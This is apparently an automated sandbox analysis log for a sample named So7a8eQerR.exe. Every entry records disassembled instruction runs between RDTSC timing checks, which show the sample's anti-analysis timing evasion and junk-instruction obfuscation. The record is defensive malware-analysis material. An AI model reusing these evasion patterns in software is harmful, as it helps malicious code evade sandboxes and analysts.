Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53001DA second address: 5300239 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA5CCB7DECAh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e call 00007FA5CCB7DED7h 0x00000013 pop eax 0x00000014 mov ecx, edi 0x00000016 popad 0x00000017 mov ecx, edx 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov di, ax 0x00000021 pushfd 0x00000022 jmp 00007FA5CCB7DED4h 0x00000027 add si, A268h 0x0000002c jmp 00007FA5CCB7DECBh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5300239 second address: 5300251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB52634h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5300251 second address: 5300255 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0033 second address: 52F0037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0037 second address: 52F003D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F003D second address: 52F009C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB5262Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA5CCB52636h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FA5CCB52630h 0x00000016 pop ebp 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushfd 0x0000001b jmp 00007FA5CCB5262Ch 0x00000020 and esi, 4B0EEAC8h 0x00000026 jmp 00007FA5CCB5262Bh 0x0000002b popfd 0x0000002c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320F27 second address: 5320F43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movzx eax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FA5CCB7DECAh 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 mov cl, B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320F43 second address: 5320F47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320F47 second address: 5320FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FA5CCB7DECFh 0x0000000c sbb ecx, 45D26B2Eh 0x00000012 jmp 00007FA5CCB7DED9h 0x00000017 popfd 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jmp 00007FA5CCB7DED3h 0x00000023 pushfd 0x00000024 jmp 00007FA5CCB7DED8h 0x00000029 jmp 00007FA5CCB7DED5h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C00ED second address: 52C0100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 01B9862Ah 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov eax, ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0100 second address: 52C0104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0104 second address: 52C0163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edi, 0DA8A8E8h 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FA5CCB52638h 0x00000015 sbb eax, 450ABB48h 0x0000001b jmp 00007FA5CCB5262Bh 0x00000020 popfd 0x00000021 popad 0x00000022 push dword ptr [ebp+04h] 0x00000025 pushad 0x00000026 mov cx, 5AB7h 0x0000002a popad 0x0000002b push dword ptr [ebp+0Ch] 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FA5CCB52634h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0163 second address: 52C0167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0167 second address: 52C016D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C016D second address: 52C0174 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 8Fh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0D2B second address: 52E0D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA5CCB5262Ah 0x0000000a or cx, 00D8h 0x0000000f jmp 00007FA5CCB5262Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0D4C second address: 52E0D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0D52 second address: 52E0D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0D56 second address: 52E0D5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0905 second address: 52E0909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0909 second address: 52E090F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0410 second address: 52F041F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB5262Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F041F second address: 52F0443 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0443 second address: 52F0447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0447 second address: 52F044B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F044B second address: 52F0451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0451 second address: 52F0478 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA5CCB7DECEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0478 second address: 52F04C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA5CCB52631h 0x00000009 and cx, 7646h 0x0000000e jmp 00007FA5CCB52631h 0x00000013 popfd 0x00000014 mov eax, 28CDD8F7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA5CCB52639h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F04C8 second address: 52F04FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA5CCB7DED8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F04FB second address: 52F04FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F04FF second address: 52F0505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0505 second address: 52F050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F050B second address: 52F050F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320E8D second address: 5320E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dl, 83h 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320E9B second address: 5320EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320EA2 second address: 5320EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB52631h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320EB7 second address: 5320EBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320EBB second address: 5320ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320ECB second address: 5320ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320ECF second address: 5320ED5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320ED5 second address: 5320EDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5300502 second address: 5300507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5300507 second address: 5300526 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA5CCB7DECEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5300526 second address: 5300567 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB5262Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA5CCB5262Bh 0x00000013 sbb cx, 771Eh 0x00000018 jmp 00007FA5CCB52639h 0x0000001d popfd 0x0000001e push esi 0x0000001f pop edx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5300567 second address: 530056D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0738 second address: 52E073C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E073C second address: 52E0742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0742 second address: 52E0789 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB5262Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA5CCB52630h 0x0000000f push eax 0x00000010 jmp 00007FA5CCB5262Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA5CCB52635h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0789 second address: 52E078F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E078F second address: 52E0793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0793 second address: 52E07DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FA5CCB7DED6h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA5CCB7DED7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E07DE second address: 52E07E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E07E4 second address: 52E07E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53000F9 second address: 53000FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53000FD second address: 5300103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5300103 second address: 5300109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5300109 second address: 530010D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 530010D second address: 5300156 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52634h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FA5CCB5262Bh 0x00000011 xchg eax, ebp 0x00000012 jmp 00007FA5CCB52636h 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e mov di, 80BEh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53003BB second address: 53003BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53003BF second address: 53003C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53003C5 second address: 53003EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA5CCB7DECDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53003EF second address: 5300404 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320647 second address: 532064B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 532064B second address: 532064F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 532064F second address: 5320655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320655 second address: 5320671 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB5262Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, FDF0h 0x00000011 mov edi, 363A091Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320671 second address: 532068E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA5CCB7DECFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 532068E second address: 53206F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52639h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA5CCB5262Eh 0x0000000f mov ebp, esp 0x00000011 jmp 00007FA5CCB52630h 0x00000016 xchg eax, ecx 0x00000017 jmp 00007FA5CCB52630h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007FA5CCB5262Ch 0x00000025 push ecx 0x00000026 pop edx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53206F0 second address: 5320720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b push edi 0x0000000c mov bx, si 0x0000000f pop eax 0x00000010 popad 0x00000011 mov eax, dword ptr [76FB65FCh] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov ebx, ecx 0x0000001b mov al, 9Ch 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320720 second address: 5320743 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52638h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320743 second address: 5320747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320747 second address: 5320785 instructions: 0x00000000 rdtsc 0x00000002 mov ax, 4E19h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FA5CCB52636h 0x0000000d popad 0x0000000e je 00007FA63E765826h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA5CCB52637h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320785 second address: 53207B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA5CCB7DECDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53207B3 second address: 532082C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA5CCB52637h 0x00000009 adc esi, 268593AEh 0x0000000f jmp 00007FA5CCB52639h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FA5CCB52630h 0x0000001b and esi, 5E886528h 0x00000021 jmp 00007FA5CCB5262Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a xor eax, dword ptr [ebp+08h] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FA5CCB52631h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 532082C second address: 5320841 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320841 second address: 53208B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c pushad 0x0000000d movzx esi, di 0x00000010 jmp 00007FA5CCB52639h 0x00000015 popad 0x00000016 ror eax, cl 0x00000018 jmp 00007FA5CCB5262Eh 0x0000001d leave 0x0000001e jmp 00007FA5CCB52630h 0x00000023 retn 0004h 0x00000026 nop 0x00000027 mov esi, eax 0x00000029 lea eax, dword ptr [ebp-08h] 0x0000002c xor esi, dword ptr [009B2014h] 0x00000032 push eax 0x00000033 push eax 0x00000034 push eax 0x00000035 lea eax, dword ptr [ebp-10h] 0x00000038 push eax 0x00000039 call 00007FA5D1502EF1h 0x0000003e push FFFFFFFEh 0x00000040 pushad 0x00000041 jmp 00007FA5CCB5262Eh 0x00000046 mov esi, 72C0B931h 0x0000004b popad 0x0000004c pop eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53208B9 second address: 53208BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53208BD second address: 53208C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53208C3 second address: 53208F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007FA5D152E7BBh 0x00000010 mov edi, edi 0x00000012 jmp 00007FA5CCB7DECFh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA5CCB7DED5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53208F5 second address: 532093E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA5CCB52634h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FA5CCB52630h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA5CCB52637h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 532093E second address: 5320944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5320944 second address: 5320948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0008 second address: 52D000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D000C second address: 52D0012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0163 second address: 52D0169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
